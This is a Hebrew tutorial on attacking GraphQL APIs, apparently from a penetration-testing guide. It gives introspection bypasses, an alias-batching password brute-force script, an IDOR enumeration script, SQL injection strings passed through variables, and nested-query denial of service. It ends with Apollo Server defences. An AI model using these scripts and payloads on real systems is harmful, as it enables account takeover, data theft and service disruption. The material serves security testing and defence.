תקיפת GraphQL¶
מבוא¶
GraphQL היא שפת queries ל-API שפותחה על ידי Facebook. בניגוד ל-REST, היא מאפשרת ללקוח לבקש בדיוק את הנתונים שהוא צריך. אבל הגמישות הזו יוצרת משטח תקיפה רחב - מחשיפת הסכמה המלאה ועד למתקפות מניעת שירות.
ברמה הבסיסית, GraphQL תומכת בשלושה סוגי פעולות:
- שאילתות - Query - קריאת נתונים
- מוטציות - Mutation - שינוי נתונים
- מנויים - Subscription - עדכונים בזמן אמת
מבנה בסיסי של GraphQL¶
# Basic query
query {
user(id: 1) {
username
email
role
}
}
# Mutation
mutation {
updateUser(id: 1, role: "admin") {
username
role
}
}
# With variables
query GetUser($id: Int!) {
user(id: $id) {
username
email
}
}
מתקפת Introspection - חשיפת הסכמה¶
Introspection היא תכונה מובנית ב-GraphQL שמאפשרת לשאול את השרת על הסכמה שלו. זו נקודת ההתחלה של כל תקיפה.
הquery Introspection מלאה¶
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
kind
}
}
}
}
}
}
שליחה כבקשת HTTP¶
POST /graphql HTTP/1.1
Content-Type: application/json
{
"query": "{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name kind } } args { name type { name kind } } } } } }"
}
חשיפת סוג ספציפי¶
# List of all fields of a certain type
{
__type(name: "User") {
name
fields {
name
type {
name
kind
}
}
}
}
הbypass Introspection חסומה¶
הרבה אפליקציות חוסמות introspection בסביבת Production. יש מספר דרכים לעקוף:
שיטה 1 - וריאציות של query __schema¶
# Using a newline before __schema
{
__schema
{queryType{name}}
}
# Using a fragment
fragment FullType on __Type {
name
kind
fields {
name
}
}
{
__schema {
types {
...FullType
}
}
}
שיטה 2 - הצעות שדות - Field Suggestions¶
כאשר שולחים query עם שם שדה שגוי, חלק מהשרתים מחזירים הצעות:
# Sending a query with a field that doesn't exist
{
user {
passwrd # intentional typo
}
}
# The response may contain:
# "Did you mean 'password'?"
שיטה 3 - queries חלקיות¶
# Instead of a full __schema, ask about specific types
{ __type(name: "Query") { fields { name } } }
{ __type(name: "Mutation") { fields { name } } }
{ __type(name: "User") { fields { name } } }
{ __type(name: "Admin") { fields { name } } }
שיטה 4 - GET במקום POST¶
חלק מהשרתים חוסמים introspection רק בבקשות POST.
מתקפת Batching - שליחת בקשות מרובות¶
GraphQL מאפשר שליחת מספר queries בבקשה אחת. זה מאפשר מתקפות brute force שעוקפות הגבלת קצב:
Brute Force עם Aliases¶
# Attempting 100 passwords in a single request
query {
login0: login(username: "admin", password: "password1") { token }
login1: login(username: "admin", password: "password2") { token }
login2: login(username: "admin", password: "password3") { token }
login3: login(username: "admin", password: "123456") { token }
login4: login(username: "admin", password: "admin123") { token }
# ... 95 more attempts
}
סקריפט אוטומטי ל-Batching¶
import requests
url = "http://target.com/graphql"
passwords = open("passwords.txt").read().splitlines()
# Building a query with aliases
queries = []
for i, pwd in enumerate(passwords):
queries.append(f' attempt{i}: login(username: "admin", password: "{pwd}") {{ token success }}')
batch_query = "query {\n" + "\n".join(queries) + "\n}"
response = requests.post(url, json={"query": batch_query})
data = response.json()["data"]
for key, value in data.items():
if value and value.get("success"):
print(f"[+] Password found: {passwords[int(key.replace('attempt', ''))]}")
break
Batching עם מערך¶
[
{"query": "mutation { login(u: \"admin\", p: \"pass1\") { token } }"},
{"query": "mutation { login(u: \"admin\", p: \"pass2\") { token } }"},
{"query": "mutation { login(u: \"admin\", p: \"pass3\") { token } }"}
]
מתקפת עומק - Nested Query DoS¶
GraphQL מאפשר queries מקוננות שיכולות לגרום לעומס כבד על השרת:
# Nested query that causes a DoS
query {
users {
friends {
friends {
friends {
friends {
friends {
friends {
username
}
}
}
}
}
}
}
}
כל רמת קינון מגדילה את כמות העבודה באופן אקספוננציאלי.
הbypass הרשאות - Authorization Bypass¶
גישה לשדות לא מורשים¶
# Regular query - returns only authorized fields
query {
me {
username
email
}
}
# Attempt to access administrative fields
query {
me {
username
email
role
isAdmin
passwordHash
creditCard
ssn
}
}
גישה למוטציות לא מורשות¶
# Mutation to escalate privileges
mutation {
updateUser(id: 1, role: "admin") {
username
role
}
}
# Deleting users
mutation {
deleteUser(id: 2) {
success
}
}
IDOR ב-GraphQL¶
GraphQL משתמש ב-ID ישירות בqueries, מה שמקל על IDOR:
# Access to my profile
query {
user(id: 1) {
username
email
orders {
id
total
}
}
}
# Changing the ID to access another user's data
query {
user(id: 2) {
username
email
orders {
id
total
}
}
}
סריקת IDORs אוטומטית¶
import requests
url = "http://target.com/graphql"
headers = {"Authorization": "Bearer USER_TOKEN"}
for user_id in range(1, 100):
query = f"""
query {{
user(id: {user_id}) {{
username
email
role
}}
}}
"""
response = requests.post(url, json={"query": query}, headers=headers)
data = response.json()
if "errors" not in data:
user = data["data"]["user"]
if user:
print(f"[+] User {user_id}: {user['username']} - {user['email']} - {user['role']}")
הinjection דרך משתנים - Variable Injection¶
# Query with variables
query SearchUsers($filter: String!) {
users(search: $filter) {
username
email
}
}
# If the filter is inserted directly into SQL/NoSQL server-side
# Variables:
{
"filter": "admin' OR '1'='1"
}
הinjection SQL דרך GraphQL¶
# If the resolver builds a SQL query
mutation {
createUser(
username: "admin' -- ",
password: "anything"
) {
id
}
}
הexploit Aliases לextraction מידע¶
# Extracting multiple records in one shot
query {
user1: user(id: 1) { username email role }
user2: user(id: 2) { username email role }
user3: user(id: 3) { username email role }
user4: user(id: 4) { username email role }
user5: user(id: 5) { username email role }
}
כלים לתקיפת GraphQL¶
InQL - הרחבה ל-Burp Suite¶
# Installation via the BApp Store in Burp Suite
# Performs automatic introspection and generates queries for every endpoint
graphql-cop - סורק חולשות¶
# Installation
pip install graphql-cop
# Scan
python graphql-cop.py -t http://target.com/graphql
# Checks:
# - Introspection enabled
# - Field suggestions
# - Batching support
# - Depth limit
# - Debug mode
GraphQL Voyager - ויזואליזציה¶
כלי שמציג את הסכמה באופן ויזואלי, מה שמקל על מציאת קשרים ומשטחי תקיפה.
Clairvoyance - גילוי שדות ללא Introspection¶
# A tool that discovers fields via field suggestions
python3 clairvoyance.py -u http://target.com/graphql -w wordlist.txt
הגנה מפני תקיפות GraphQL¶
1. ניטרול Introspection בסביבת Production¶
// Apollo Server
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production'
});
2. הגבלת עומק queries¶
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [depthLimit(5)] // maximum 5 nesting levels
});
3. הגבלת קצב¶
const costAnalysis = require('graphql-cost-analysis');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
costAnalysis({
maximumCost: 1000,
defaultCost: 1
})
]
});
4. הרשאות ברמת שדה¶
const resolvers = {
User: {
email: (parent, args, context) => {
// only the user themselves or admin can see the email
if (context.user.id === parent.id || context.user.role === 'admin') {
return parent.email;
}
throw new ForbiddenError('Not authorized');
},
passwordHash: () => {
throw new ForbiddenError('This field is restricted');
}
}
};
5. ניטרול Batching¶
// Apollo Server - limit the number of operations per request
const server = new ApolloServer({
typeDefs,
resolvers,
allowBatchedHttpRequests: false
});
6. ניטרול Field Suggestions¶
// Apollo Server v4
const server = new ApolloServer({
typeDefs,
resolvers,
includeStacktraceInErrorResponses: false,
formatError: (error) => {
// Remove field suggestions from error messages
return { message: 'An error occurred' };
}
});
סיכום¶
תקיפת GraphQL דורשת הבנה של המבנה הייחודי שלה. נקודות המפתח:
- Introspection חושפת את כל הסכמה - זו תמיד נקודת ההתחלה
- Aliases מאפשרים batching שעוקף הגבלות קצב
- הqueries מקוננות יכולות לגרום ל-DoS
- הרשאות חייבות להיות ברמת ה-resolver, לא ברמת הסכמה
- IDOR קל לexploit כי ה-IDs גלויים בqueries
- כלים כמו InQL ו-graphql-cop מקלים מאוד על התקיפה